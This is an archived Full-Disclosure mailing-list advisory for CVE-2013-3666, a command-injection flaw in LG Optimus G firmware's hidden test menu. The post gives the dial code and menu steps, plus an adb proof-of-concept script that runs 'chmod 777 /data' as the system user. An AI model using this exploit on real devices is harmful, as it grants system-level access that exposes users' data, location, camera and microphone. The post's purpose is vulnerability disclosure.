full-disclosure - CVE-2013-3666 - LG Optimus G command injection (as system user) vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Sat, 25 May 2013 10:22:17 -0700
From: Justin Case <jcase@...ninglogic.com>
To: full-disclosure@...ts.grok.org.uk
Subject: CVE-2013-3666 - LG Optimus G command injection
	(as system user) vulnerability

Device: LG Optimus G E973 (Others affected)
Firmware: Android 4.1.2 JZO54k (Others affected)
Evidence: http://youtu.be/ZfbDIpTY-t4

A vulnerability in LG's "HiddenMenu" allows you to execute shell commands
as the system, with a large array of additional permissions (Groups). This
vulnerability opens up the device to further attacks. Due to the large
number of models sharing similar firmware, I have no idea how many devices
are affected.


Details:

Dial: 3845#*XXX# ( XXX to be replaced with model number, in this case
3845#*973#)

HiddenMenu will open, select WLAN Test, then select Wi-Fi Ping Test/User
Command, then select User Command.

Replace the tcpdump command with the command you wish to run as system
user

Then press cancel (not ok). The application will execute the command as
system user.


Automated version (chmod 777 /data):
#!/bin/sh
    adb shell ls -l /data
    adb shell input tap 45 1200
    adb shell input tap 700 500
    adb shell input tap 350 800
    adb shell input tap 35 700
    adb shell input tap 350 700
    adb shell input tap 700 1000
    adb shell input tap 35 1000
    adb shell input tap 700 800
    adb shell input tap 35 800
    adb shell input tap 700 500
    adb shell input tap 700 1000
    adb shell input tap 700 900
    adb shell input tap 700 900
    adb shell input tap 700 300
    max=46
    count=1
    while [[ $count -le $max ]]
    do
        adb shell input keyevent 67
        ((count++))
    done
    adb shell input text chmod
    adb shell input keyevent 62
    adb shell input text 777
    adb shell input keyevent 62
    adb shell input text "/data"
    adb shell input tap 600 600
    adb shell ls -l /data


Additional permissions granted to vulnerable application:
"android.permission.REBOOT"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"android.permission.DEVICE_POWER"
"android.permission.WRITE_SETTINGS"
"android.permission.READ_SETTINGS"
"android.permission.READ_CONTACTS"
"android.permission.WRITE_CONTACTS"
"android.permission.HARDWARE_TEST"
"android.permission.VIBRATE"
"android.permission.WRITE_APN_SETTINGS"
"android.permission.ACCESS_WIFI_STATE"
"android.permission.CHANGE_WIFI_STATE"
"android.permission.FLASHLIGHT"
"android.permission.READ_ERS"
"android.permission.WRITE_ERS"
"android.permission.MASTER_CLEAR"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.ACCESS_COARSE_LOCATION"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"
"android.permission.INTERNET"
"android.permission.BLUETOOTH"
"android.permission.BLUETOOTH_ADMIN"
"com.lge.permission.LGSystemDB_READ"
"com.lge.permission.LGSystemDB_WRITE"
"android.permission.MOUNT_UNMOUNT_FILESYSTEMS"
"android.permission.ACCESS_LGDRM"
"android.permission.DISABLE_KEYGUARD"
"android.permission.CAMERA"
"android.permission.WAKE_LOCK"
"android.permission.WRITE_SETTINGS"
"android.permission.VIBRATE"
"android.permission.ACCESS_FINE_LOCATION"
"android.permission.WRITE_EXTERNAL_STORAGE"
"android.permission.CAMERA"
"android.permission.RECORD_AUDIO"
"android.permission.DISABLE_KEYGUARD"
"android.permission.MODIFY_AUDIO_SETTINGS"
"android.permission.WRITE_SETTINGS"
"android.permission.WAKE_LOCK"
"android.permission.SET_TIME"
"com.android.providers.syncml.permission.READ_SYNCML_PROFILE"
"com.android.providers.syncml.permission.WRITE_SYNCML_PROFILE"
"com.lge.permission.FACTORY"
"com.lge.permission.ACCESS_LGFOTA"
"android.permission.ACCESS_CACHE_FILESYSTEM"
"com.lge.permission.WV_PROVISION"
"com.lge.permission.PR_PROVISION"
"android.permission.READ_EXTERNAL_STORAGE"
"android.permission.CHANGE_NETWORK_STATE"
"com.lge.permission.LGHIDDEN"

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/